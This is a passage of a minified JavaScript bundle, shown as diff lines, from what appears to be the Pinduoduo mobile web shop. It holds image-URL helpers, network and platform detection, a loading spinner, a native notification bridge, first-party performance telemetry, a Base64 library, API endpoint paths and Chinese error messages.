0 && (n.sharpen = !1), + n.webpEnable && (n.quality = n.quality || 70, + n.sharpen = n.sharpen || 50), + g(function(e) { + return e.split(""?"")[0] + }(e)) + function(e) { + var t = e.webpEnable, + n = e.quality, + r = e.resizeWidth, + a = e.strip, + i = e.plainWatermark, + o = e.sharpen, + s = e.prefitWidth, + c = e.watermark, + u = e.blur, + l = u.radius, + p = u.sigma, + d = []; + d.push(m({ + thumbnail: { + width: s + } + })); + var h = i || function(e) { + var t = e.image, + n = e.gravity, + r = e.dx, + a = e.dy, + i = e.blogo, + o = []; + return t ? (i && o.push(""/blogo/"".concat(i)), + t && o.push(""/image/"".concat(t)), + n && o.push(""/gravity/"".concat(n)), + r && o.push(""/dx/"".concat(r)), + a && o.push(""/dy/"".concat(a)), + o.length ? ""watermark/1"".concat(o.join("""")) : """") : """" + }(c); + return s && (h = f({ + watermark: h, + width: s + })), + d.push(h), + d.push(m({ + sharpen: o, + strip: a, + radius: l, + sigma: p + })), + d.push(function(e) { + var t = e.mode, + n = e.width, + r = e.height, + a = e.format, + i = e.quality, + o = e.rQuality, + s = e.lQuality, + c = []; + return t && (n || r) && (c.push(""/"".concat(t)), + n && c.push(""/w/"".concat(n)), + r && c.push(""/h/"".concat(r))), + a && c.push(""/format/"".concat(a)), + i && c.push(""/q/"".concat(i)), + o && c.push(""/rq/"".concat(o)), + s && c.push(""/lq/"".concat(s)), + c.length ? ""imageView2"".concat(c.join("""")) : """" + }({ + mode: ""2"", + width: r, + quality: n, + format: t ? ""webp"" : """" + })), (d = d.filter(function(e) { + return !!e + })).length ? ""?"" + d.join(""%7C"") : """" + }(n)) : e + }; + + function b(e, t) { + return _(e, a()({}, v, { + webpEnable: t + })) + } + }, + ""0P1e"": function(e, t, n) { + ""use strict""; + n.d(t, ""a"", function() { + return u + }); + var r = n(""cDf5""), + a = n.n(r), + i = { + unknown: 0, + wifi: 1, + ""2g"": 2, + ""3g"": 3, + ""4g"": 4 + }, + o = ""unknown"", + s = i[o]; + + function c() { + return new Promise(function(e) { + if (""object"" === (""undefined"" == typeof window ? ""undefined"" : a()(window)) && window.WeixinJSBridge && window.wx && window.wx.getNetworkType) + return e(new Promise(function(e) { + window.wx.ready(function() { + window.wx.getNetworkType({ + success: function(t) { + e(t && t.networkType) + }, + fail: function() { + e(o) + } + }) + }) + })); + e(""object"" === (""undefined"" == typeof navigator ? ""undefined"" : a()(navigator)) && navigator.connection && navigator.connection.effectiveType) + }) + } + + function u() { + return c().then(function(e) { + return i[e] || s + }) + } + }, + ""1/kQ"": function(e, t, n) { + ""use strict""; + var r = n(""lwsE""), + a = n.n(r), + i = n(""W8MJ""), + o = n.n(i), + s = n(""h3qu""), + c = function() { + function e() { + var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : """"; + a()(this, e), + this.cache = {}, + this.ua = t + } + return o()(e, [{ + key: ""platform"", + get: function() { + return Object(s.f)(this.ua) + } + }, { + key: ""system"", + get: function() { + return Object(s.g)(this.ua) + } + }, { + key: ""systemVersion"", + get: function() { + return Object(s.h)(this.ua) + } + }, { + key: ""version"", + get: function() { + return """" + } + }, { + key: ""isNativePlatform"", + get: function() { + return !1 + } + }, { + key: ""isLiteNativePlatform"", + get: function() { + return !1 + } + }, { + key: ""isTinyNativePlatform"", + get: function() { + return !1 + } + }, { + key: ""isMecoCore"", + get: function() { + return !1 + } + }, { + key: ""isMajiabaoNativePlatform"", + get: function() { + return !1 + } + }, { + key: ""wechatVersion"", + get: function() { + return """" + } + }, { + key: ""wechatPlatform"", + get: function() { + return """" + } + }, { + key: ""isSupportHistoryAPI"", + get: function() { + return !1 + } + }, { + key: ""isPureWeChatPlatform"", + get: function() { + return !1 + } + }, { + key: ""isWeChatMiniProgram"", + get: function() { + return !1 + } + }, { + key: ""isWeChatPlatform"", + get: function() { + return !1 + } + }, { + key: ""isAndroidWeChatPlatform"", + get: function() { + return !1 + } + }, { + key: ""isIOSWeChatPlatform"", + get: function() { + return !1 + } + }, { + key: ""isEmbeddedBrowser"", + get: function() { + return !1 + } + }, { + key: ""isSupportWechatFloatingWindow"", + get: function() { + return !1 + } + }, { + key: ""isShowSMAlertPlatform"", + get: function() { + return !1 + } + }, { + key: ""isQQPlatform"", + get: function() { + return !1 + } + }, { + key: ""isPureQQPlatform"", + get: function() { + return !1 + } + }, { + key: ""isQQMiniProgram"", + get: function() { + return !1 + } + }, { + key: ""isWeiboPlatform"", + get: function() { + return !1 + } + }]), + e + }(); + t.a = c + }, + ""19V+"": function(e, t, n) { + ""use strict""; + var r = n(""EJiy""), + a = n.n(r), + i = n(""kk8N""), + o = n(""xnWZ""), + s = n(""b9VB""); + n(""xT7C""); + var c = {}; + c = function() { + var e = { + SpinnerStyle: { + Default: 0, + NewStyle: 1 + } + }; + return e.currentStyle = e.SpinnerStyle.NewStyle, + e.init = function(t) { + var r = document.querySelector(""#pin-spinner""); + if (r) + return r; + switch (r = document.createElement(""div""), + e.currentStyle) { + case e.SpinnerStyle.Default: + r.innerHTML = n(""tf5S""); + break; + case e.SpinnerStyle.NewStyle: + r.innerHTML = n(""SmUH""); + break; + default: + r.innerHTML = n(""tf5S"") + } + var a = r.firstChild; + return document.body.appendChild(a), + e.currentStyle == e.SpinnerStyle.NewStyle && (document.getElementById(""imgInit"").src = ""data:image/png;base64,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""), + document.getElementById(""pin-spinner"") + }, + e.show = function(t) { + if (t = t || """", + o.b.isModuleVersion) + e.currentStyle == e.SpinnerStyle.NewStyle ? i.a.callNative(""JSUIControl"", ""showLoading"", { + loading_style: ""2"", + message: t + }) : i.a.callNative(""JSUIControl"", ""showLoading""); + else { + var n = e.init(t), + r = document.getElementById(""ps-background""), + a = document.getElementById(""msgInit""), + s = document.getElementById(""pin-spinner""); + a.innerHTML = t, + n.style.display = ""block"", + e.currentStyle == e.SpinnerStyle.NewStyle && (r.style.display = ""block""), + s.className = t ? ""hasMessageText pin-spinner-2"" : ""pin-spinner-2"" + } + }, + e.showH5 = function() { + (e.init().style.display = ""block"", + e.currentStyle == e.SpinnerStyle.NewStyle) && (document.getElementById(""ps-background"").style.display = ""none"") + }, + e.showWithoutBg = function() { + o.b.isModuleVersion ? i.a.callNative(""JSUIControl"", ""showLoading"") : e.showH5() + }, + e.hideH5 = function() { + e.init().style.display = ""none"" + }, + e.hide = function() { + var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}; + if (o.b.isModuleVersion ? i.a.callNative(""JSUIControl"", ""hideLoading"") : e.hideH5(), + s.ssrDetect && !Object(s.ssrDetect)() && ""object"" === (""undefined"" == typeof window ? ""undefined"" : a()(window)) && !window.__fmp) { + window.__fmp = Date.now(); + var n = window.performance; + if (n && n.timing && n.timing.loadEventStart) + new s.a(t).send() + } + }, + e + }(); + t.a = c + }, + ""1Irm"": function(e, t, n) { + ""use strict""; + var r, a = n(""o0o1""), + i = n.n(a), + o = n(""yXPU""), + s = n.n(o), + c = n(""MpJ2""), + u = function() { + var e = {}; + return { + register: function(t, n) { + return n ? e[t] ? (e[t].add(n), + Promise.resolve()) : (e[t] = new Set, + Object(c.c)(""JSNotification"", ""register"", { + name: t + }).then(function() { + e[t].add(n) + })) : Promise.reject(new Error(""pinnotification register lack callback param"")) + }, + unregister: function(t, n) { + var r = e[t]; + r.delete(n), + r.size || Object(c.c)(""JSNotification"", ""unregister"", { + name: t + }) + }, + message: function(t, n) { + var r = e[t]; + null != r && r.forEach(function(e) { + try { + e(n) + } catch (e) { + return Promise.reject(e) + } + }) + } + } + }(); + + function l(e, t) { + return p.apply(this, arguments) + } + + function p() { + return (p = s()(i.a.mark(function e(t, n) { + return i.a.wrap(function(e) { + for (;;) + switch (e.prev = e.next) { + case 0: + return e.next = 2, + u.register(t, n); + case 2: + return e.abrupt(""return"", function() { + u.unregister(t, n) + }); + case 3: + case ""end"": + return e.stop() + } + }, e) + }))).apply(this, arguments) + } + + function d(e) { + return l(""onSceneLeave"", e) + } + + function h(e) { + return l(""onSceneReturn"", e) + } + + function f(e, t) { + return Object(c.c)(""JSNotification"", ""send"", { + name: e, + payload: t + }) + } + n.d(t, ""a"", function() { + return l + }), + n.d(t, ""b"", function() { + return d + }), + n.d(t, ""c"", function() { + return h + }), + n.d(t, ""d"", function() { + return f + }), + window.pinnotification && (r = window.pinnotification, + console.warn(""存在其他版本的pinnotification对象,请检查是否多版本或者存在其他notification包"")), + window.pinnotification = {}, + Object.defineProperty(window.pinnotification, ""message"", { + value: function(e, t) { + r && ""function"" == typeof r.message && r.message(e, t), + u.message(e, t) + }, + writable: !1 + }) + }, + ""204Y"": function(e, t, n) { + (e.exports = n(""I1BE"")(!1)).push([e.i, '.pdd-go-to-app {\n position: fixed;\n top: 0;\n right: 0;\n width: .9rem;\n height: .32rem;\n line-height: .32rem;\n padding-right: .08rem;\n margin-top: 0.12rem;\n font-size: .13rem;\n text-align: right;\n color: #fff;\n background-color: #E02E24;\n border-bottom-left-radius: .04rem;\n border-top-left-radius: .04rem;\n z-index: 10001;\n}\n\n.pdd-go-to-app:active {\n color: #EDBBB8;\n background-color: #C51E14;\n}\n\n@supports not (-webkit-overflow-scrolling: touch) {\n .pdd-go-to-app {\n line-height: .33rem;\n }\n}\n\n.pdd-go-to-app-icon {\n margin-left: -.03rem;\n}\n\n.pdd-go-to-app-icon::before {\n content: ""\\E777"";\n}', """"]) + }, + ""20zl"": function(e, t, n) { + var r = n(""9PFF""); + ""string"" == typeof r && (r = [ + [e.i, r, """"] + ]); + var a = { + transform: void 0 + }; + n(""aET+"")(r, a); + r.locals && (e.exports = r.locals) + }, + ""2aGa"": function(e, t, n) { + var r = n(""jK0q""); + ""string"" == typeof r && (r = [ + [e.i, r, """"] + ]); + var a = { + transform: void 0 + }; + n(""aET+"")(r, a); + r.locals && (e.exports = r.locals) + }, + ""2phM"": function(e, t, n) { + ""use strict""; + (function(e) { + n.d(t, ""a"", function() { + return l + }); + var r = n(""MVZn""), + a = n.n(r), + i = n(""0P1e""), + o = n(""KoDT""), + s = n(""h3qu""), + c = n(""MpJ2""), + u = Object(o.a)(); + + function l() { + var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}; + Object(i.a)().then(function(n) { + var r = t.mutipleKvList || []; + r.forEach(function(e) { + e.tags = a()({ + networkType: n + }, e.tags) + }); + var i = { + mutipleKvList: r + }, + o = { + method: ""POST"", + body: JSON.stringify(i), + data: JSON.stringify(i), + headers: { + ""Content-Type"": ""application/json;charset=UTF-8"" + }, + credentials: ""include"" + }, + l = ""https://cmta.yangkeduo.com"".concat(""/api/cmt/cmtc_h5""); + u.isNativePlatform ? (Object.assign(o, { + url: l + }), + Object(c.c)(""JSNetwork"", ""request"", o).catch(function(e) { + if (u.platform === s.a.PddAndroid && Object(s.c)(u.version, ""4.78.0"") >= 0) + throw e + })) : e(l, o).catch(function(e) {}) + }) + } + }).call(this, n(""BlQd"")) + }, + ""2z+c"": function(e, t, n) { + ""use strict""; + var r = n(""xnWZ""), + a = n(""kk8N""), + i = { + showRetryPage: function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : 0, + t = arguments.length > 1 ? arguments[1] : void 0, + n = arguments.length > 2 ? arguments[2] : void 0, + i = arguments.length > 3 ? arguments[3] : void 0, + o = arguments.length > 4 ? arguments[4] : void 0; + if (r.b.isModuleRequestTimeout) { + var s = { + style: e, + errorType: t, + params: { + title: n, + message: i, + iconType: o + } + }; + a.a.callNative(""WebScene"", ""showRetryPage"", s, function() {}, function() { + a.a.callNative(""WebScene"", ""showRetryPage"", s) + }) + } + }, + checkRequestTimeout: function(e) { + var t = this; + r.b.isModuleVersion && (this.requestTimeId || e || (this.requestTimeId = setTimeout(function() { + t.showRetryPage(0, ""networkError"", ""手机网络有问题"", ""请检查网络"", ""e779""), + clearTimeout(t.requestTimeId), + t.requestTimeId = void 0 + }, 1e4))) + }, + clearRequestTimeout: function() { + clearTimeout(this.requestTimeId) + } + }; + t.a = i + }, + ""3I1p"": function(e, t, n) { + ! function(t) { + ""use strict""; + var r, a = t.Base64; + if (e.exports) + try { + r = n(""tjlA"").Buffer + } catch (e) {} + var i = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"", + o = function(e) { + for (var t = {}, n = 0, r = e.length; n < r; n++) + t[e.charAt(n)] = n; + return t + }(i), + s = String.fromCharCode, + c = function(e) { + if (e.length < 2) + return (t = e.charCodeAt(0)) < 128 ? e : t < 2048 ? s(192 | t >>> 6) + s(128 | 63 & t) : s(224 | t >>> 12 & 15) + s(128 | t >>> 6 & 63) + s(128 | 63 & t); + var t = 65536 + 1024 * (e.charCodeAt(0) - 55296) + (e.charCodeAt(1) - 56320); + return s(240 | t >>> 18 & 7) + s(128 | t >>> 12 & 63) + s(128 | t >>> 6 & 63) + s(128 | 63 & t) + }, + u = /[\uD800-\uDBFF][\uDC00-\uDFFFF]|[^\x00-\x7F]/g, + l = function(e) { + return e.replace(u, c) + }, + p = function(e) { + var t = [0, 2, 1][e.length % 3], + n = e.charCodeAt(0) << 16 | (e.length > 1 ? e.charCodeAt(1) : 0) << 8 | (e.length > 2 ? e.charCodeAt(2) : 0); + return [i.charAt(n >>> 18), i.charAt(n >>> 12 & 63), t >= 2 ? ""="" : i.charAt(n >>> 6 & 63), t >= 1 ? ""="" : i.charAt(63 & n)].join("""") + }, + d = t.btoa ? function(e) { + return t.btoa(e) + } : function(e) { + return e.replace(/[\s\S]{1,3}/g, p) + }, + h = r ? function(e) { + return (e.constructor === r.constructor ? e : new r(e)).toString(""base64"") + } : function(e) { + return d(l(e)) + }, + f = function(e, t) { + return t ? h(String(e)).replace(/[+\/]/g, function(e) { + return ""+"" == e ? ""-"" : ""_"" + }).replace(/=/g, """") : h(String(e)) + }, + m = new RegExp([""[à-?][?-?]"", ""[à-?][?-?]{2}"", ""[e-÷][?-?]{3}""].join(""|""), ""g""), + g = function(e) { + switch (e.length) { + case 4: + var t = ((7 & e.charCodeAt(0)) << 18 | (63 & e.charCodeAt(1)) << 12 | (63 & e.charCodeAt(2)) << 6 | 63 & e.charCodeAt(3)) - 65536; + return s(55296 + (t >>> 10)) + s(56320 + (1023 & t)); + case 3: + return s((15 & e.charCodeAt(0)) << 12 | (63 & e.charCodeAt(1)) << 6 | 63 & e.charCodeAt(2)); + default: + return s((31 & e.charCodeAt(0)) << 6 | 63 & e.charCodeAt(1)) + } + }, + v = function(e) { + return e.replace(m, g) + }, + _ = function(e) { + var t = e.length, + n = t % 4, + r = (t > 0 ? o[e.charAt(0)] << 18 : 0) | (t > 1 ? o[e.charAt(1)] << 12 : 0) | (t > 2 ? o[e.charAt(2)] << 6 : 0) | (t > 3 ? o[e.charAt(3)] : 0), + a = [s(r >>> 16), s(r >>> 8 & 255), s(255 & r)]; + return a.length -= [0, 0, 2, 1][n], + a.join("""") + }, + b = t.atob ? function(e) { + return t.atob(e) + } : function(e) { + return e.replace(/[\s\S]{1,4}/g, _) + }, + y = r ? function(e) { + return (e.constructor === r.constructor ? e : new r(e, ""base64"")).toString() + } : function(e) { + return v(b(e)) + }, + w = function(e) { + return y(String(e).replace(/[-_]/g, function(e) { + return ""-"" == e ? ""+"" : ""/"" + }).replace(/[^A-Za-z0-9\+\/]/g, """")) + }; + if (t.Base64 = { + VERSION: ""2.1.9"", + atob: b, + btoa: d, + fromBase64: w, + toBase64: f, + utob: l, + encode: f, + encodeURI: function(e) { + return f(e, !0) + }, + btou: v, + decode: w, + noConflict: function() { + var e = t.Base64; + return t.Base64 = a, + e + } + }, + ""function"" == typeof Object.defineProperty) { + var S = function(e) { + return { + value: e, + enumerable: !1, + writable: !0, + configurable: !0 + } + }; + t.Base64.extendString = function() { + Object.defineProperty(String.prototype, ""fromBase64"", S(function() { + return w(this) + })), + Object.defineProperty(String.prototype, ""toBase64"", S(function(e) { + return f(this, e) + })), + Object.defineProperty(String.prototype, ""toBase64URI"", S(function() { + return f(this, !0) + })) + } + } + t.Meteor && (Base64 = t.Base64) + }(""undefined"" != typeof window ? window : {}) + }, + ""3INx"": function(e, t, n) { + ""use strict""; + n.d(t, ""a"", function() { + return f + }); + var r = n(""lwsE""), + a = n.n(r), + i = n(""W8MJ""), + o = n.n(i), + s = n(""a1gu""), + c = n.n(s), + u = n(""Nsbk""), + l = n.n(u), + p = n(""7W2i""), + d = n.n(p), + h = n(""h3qu""), + f = { + greaterThan: ""greaterThan"", + greaterThanEqual: ""greaterThanEqual"", + contains: ""contains"" + }, + m = function(e) { + function t() { + return a()(this, t), + c()(this, l()(t).apply(this, arguments)) + } + return d()(t, e), + o()(t, [{ + key: ""isVersionGreater"", + value: function(e) { + return !!e && Object(h.c)(this.version, e) > 0 + } + }, { + key: ""isVersionGreaterThanEqual"", + value: function(e) { + return !!e && Object(h.c)(this.version, e) >= 0 + } + }, { + key: ""statisfy"", + value: function(e, t, n) { + return n === f.greaterThan ? this.platform === h.a.PddAndroid ? this.isVersionGreater(e) : this.isVersionGreater(t) : n === f.greaterThanEqual ? this.platform === h.a.PddAndroid ? this.isVersionGreaterThanEqual(e) : this.isVersionGreaterThanEqual(t) : n === f.contains && (this.platform === h.a.PddAndroid ? e.includes(this.version) : t.includes(this.version)) + } + }, { + key: ""version"", + get: function() { + return Object(h.d)(this.cache, ""version"", Object(h.e)(this.ua, this.platform)) + } + }, { + key: ""isNativePlatform"", + get: function() { + return this.platform === h.a.PddIOS || this.platform === h.a.PddAndroid + } + }, { + key: ""isLiteNativePlatform"", + get: function() { + return this.isNativePlatform && this.ua.includes(""app_type/lite"") + } + }, { + key: ""isMecoCore"", + get: function() { + return Object(h.d)(this.cache, ""isMecoCore"", this.isNativePlatform && Object(h.i)(this.ua)) + } + }]), + t + }(n(""1/kQ"").a); + t.b = m + }, + ""3OdE"": function(e, t, n) { + ""use strict""; + var r = { + WeChatSession: 1, + WeChatTimeline: 2, + Weibo: 3, + QQChatSession: 4, + QQZone: 5, + TencentWeibo: 6, + WeChatSessionApp: 7, + WeChatTimelineImage: 8, + WeChatTimelineImageWithNoSDK: 9, + WeChatSessionImage: 10, + QQChatSessionImage: 11, + QQZoneImage: 12, + WeiboImage: 13, + Friends: 14, + WechatBigImage: 15 + }, + a = { + goodsList: ""v2/goods"", + groupOrder: ""group_order"", + wtGroupOrder: ""virtual_group_order"", + login: ""login"", + ipLocation: ""region_info"", + lotteryList: ""lucky_draw_result"", + categoryGoodsList: ""operation"", + categoryGoodsListV2: ""v2/operation"", + categoryGoodsListV3: ""v3/operation"", + directPaySettings: ""api/qogir/payment/agreement/query"", + subjectInfo: ""subject"", + rankHotList: ""v2/ranklist"", + rankNewList: ""v3/newlist"", + goodsListV3: ""v3/goods"", + goodsListV4: ""v4/goods"", + goodsListV5: ""v5/goods"", + homeShow: ""home_show"", + userAB: ""user/is_ab"", + portalOperations: ""home_operations"", + goods: ""v5/goods/{0}"", + userEvent: ""goods/{0}/user_event"", + localGroup: ""goods/{0}/local_group"", + localGroupV2: ""v2/goods/{0}/local_group"", + mall: ""mall/{0}/info"", + lisbon: ""api/lisbon/query_events"", + luckyDraw: ""lucky_draw/{0}"", + reviews: ""reviews/{0}"", + personalRedpoint: ""api/philo/red_dot?query_order=1&query_coupon=1&query_fullback=1"", + queryShowFullback: ""api/lisbon/fullback/query_show_fullback"", + queryTodayFullback: ""api/lisbon/fullback/query_today_fullback"", + queryFullbackCouponRecord: ""api/lisbon/fullback/query_fullback_coupon_record"", + queryMallFullback: ""/api/lisbon/fullback/query_today_mall_fullback"", + promotionActivityImages: ""carnival_images"", + portalRecommendEntrance: ""icon/list"", + portalQuickEntranceAttendance: ""api/promotion/show_sign_in_entry"", + subjectsInfo: ""subject_collection/{0}"", + economicalBrand: ""luxury/list"", + brandGoodsList: ""famous_brand/{0}"", + brandInfo: ""famous_brand/{0}/brand"", + famousBrand: ""famous_brand"", + famousBrandList: ""famous_brand/{0}/v2/list"", + freeVoucher: ""api/activity/barrett/free_coupon_goods_list"", + timelineShareDomain: ""audience/sharable/init"", + qqSubjectGoodsList: ""v2/subject/{0}/goods"", + userProfile: ""user/profile"", + spikeGoods: ""spike/{0}/goods"", + subSubjectSummary: ""sub_subject_summary/{0}"", + subSubjectCollection: ""sub_subject_collection/{0}"", + groupOrders: ""order/group_orders"", + favoriteGoods: ""v2/favorite/goods"", + favoriteGoodsV2: ""api/zenon/goods/list_v3"", + favoriteMall: ""favorite/mall/list"", + footprint: ""footprint/goods/listall"", + mylottery: ""ordersv2/lucky"", + inviteUserQualification: ""meteor/qualified"", + marketMeteorQualified: ""api/market/meteor/v2/qualified"", + inviteUserCheck: ""meteor/invited"", + couponsAvailable: ""query_validity_coupons"", + couponsExpired: ""query_expired_and_used_coupons"", + couponsUsedNew: ""api/lisbon/query_used_coupons"", + couponsExpiredNew: ""api/lisbon/query_expired_coupons"", + couponsExpiredV2: ""api/lisbon/query_expired_coupons"", + couponsExpiredV3: ""api/lisbon/query_user_expired_coupons"", + order: ""order/"", + orders: ""ordersv2/"", + orderResult: ""ordersv2/search"", + ordersCount: ""orders/count"", + goodsExpress: ""order/"", + userMe: ""user/me"", + addressList: ""addresses"", + address: ""address/{0}"", + afterSaleList: ""after_sales/list"", + afterSaleMarkRead: ""after_sales/mark_read"", + couponCheck: ""api/asm/coupon/check"", + afterSalesDdetail: ""after_sales/detail"", + afterSalesPayType: ""after_sales/pay_type"", + actGroupOrder: ""api/coldplay/activity/detail"" + }, + i = n(""nx6v""), + o = function(e) { + var t = {}; + return Object.keys(e).forEach(function(n) { + t[n] = { + code: n, + message: e[n] + } + }), + t + }({ + 1101: ""手机网络繁忙,请稍后再试"", + 30400: ""没有安装QQ客户端"", + 40000: ""错误的请求地址或方法"", + 40001: ""登录已过期,请重新登录"", + 40002: ""手机网络繁忙,请稍后再试"", + 40003: ""错误的请求参数"", + 40004: ""微信登录失败"", + 40005: ""请求还在处理中"", + 40006: ""手机登录验证码错误"", + 40100: ""暂未开通该开放平台"", + 40015: ""验证码重复请求"", + 40016: ""验证码超出当天限制"", + 40017: ""今日可发送次数已达上限"", + 40018: ""验证码填写错误"", + 40019: ""验证码填写超时"", + 40020: ""登录失败"", + 40031: ""微信登录失败!"", + 40032: ""QQ登录失败!"", + 40033: ""登录重试失败,请稍后再试"", + 43058: """", + 41001: ""商品不存在"", + 41002: ""商品已下架"", + 41003: ""商品已售罄"", + 41004: ""商品不在同一商店"", + 41005: ""该商品当前不在抽奖活动时间"", + 41006: ""商品不在可售区域"", + 41101: ""抽奖活动暂不支持单独购买"", + 41102: ""卡券可使用的时间已过期,请选购其他商品"", + 42001: ""拼单已满"", + 42002: ""该拼单不存在"", + 42003: ""拼单已过期"", + 42004: ""您购买此商品次数达到上限,去看看其他商品吧~"", + 42005: ""该商品开团数已达上限"", + 42006: ""拼单已满"", + 42007: ""此拼单已满,正在发起新拼单..."", + 42501: ""订单已成团,暂不支持修改收货地址,请与商家客服联系"", + 42502: ""该订单已拼单成功,请刷新页面"", + 43001: ""用户不存在"", + 43002: ""地址错误"", + 43004: ""身份证号不存在"", + 43005: ""姓名和身份证号不一致"", + 43006: ""对不起,您无法获取或更新身份证号"", + 43007: ""对不起,您已用完当前最大验证次数,请24小时后再试"", + 43008: ""姓名和身份证不匹配,请重新认证"", + 43009: ""您今日认证过于频繁,请明天再试"", + 43010: ""该地址已存在"", + 43011: ""该地址无法导入"", + 43013: ""一小时内不能重复提交"", + 43015: ""只允许微信用户够买"", + 43016: ""创建地址失败"", + 43017: ""最多只能添加100个收货地址哦~"", + 43098: ""您在店铺没有拼单成功记录,请勿发红包!拼多多不支持通过发红包购买商品!"", + 43099: ""该商品仅限新用户购买一件哦~"", + 44001: ""优惠券不存在"", + 44002: ""优惠券已使用"", + 44003: ""优惠券没有达到最小使用金额"", + 44004: ""优惠券已过期"", + 44005: ""优惠券不属于用户"", + 44006: ""优惠券已废弃"", + 44007: ""优惠券暂未到使用时间"", + 44008: ""优惠券不能在该分类使用"", + 44010: ""优惠券已经抢完了,下次早点来哦"", + 44011: ""您已经领过该优惠券"", + 44012: ""优惠券领取失败"", + 44015: ""不是团长不能使用团长免单优惠券"", + 44016: ""优惠券批次不存在"", + 44020: ""正在处理中,请稍后再试!"", + 44026: ""该券太火爆,全部已被领完"", + 44027: ""活动已结束!"", + 44033: ""优惠券使用失败"", + 44035: ""批次类型错误"", + 44036: ""团免券已被领完"", + 44037: ""用户已达团免券日领取上限"", + 44038: ""您已领取该券"", + 44039: ""未找到符合条件的团免券批次"", + 44041: ""领取失败"", + 44042: ""领取链接已失效,下次早点哦"", + 44043: ""不符合领取条件哦"", + 44044: ""该优惠券活动不存在"", + 44045: ""不在活动时间"", + 44046: ""只有无订单的新用户可领取哦"", + 44047: ""红包券数量不够"", + 44061: ""多件优惠活动结束"", + 44063: ""多件优惠已经享受过了"", + 44064: ""多件优惠活动暂未开始"", + 44065: ""多件优惠活动暂未开始"", + 44066: ""多件优惠活动结束"", + 44067: 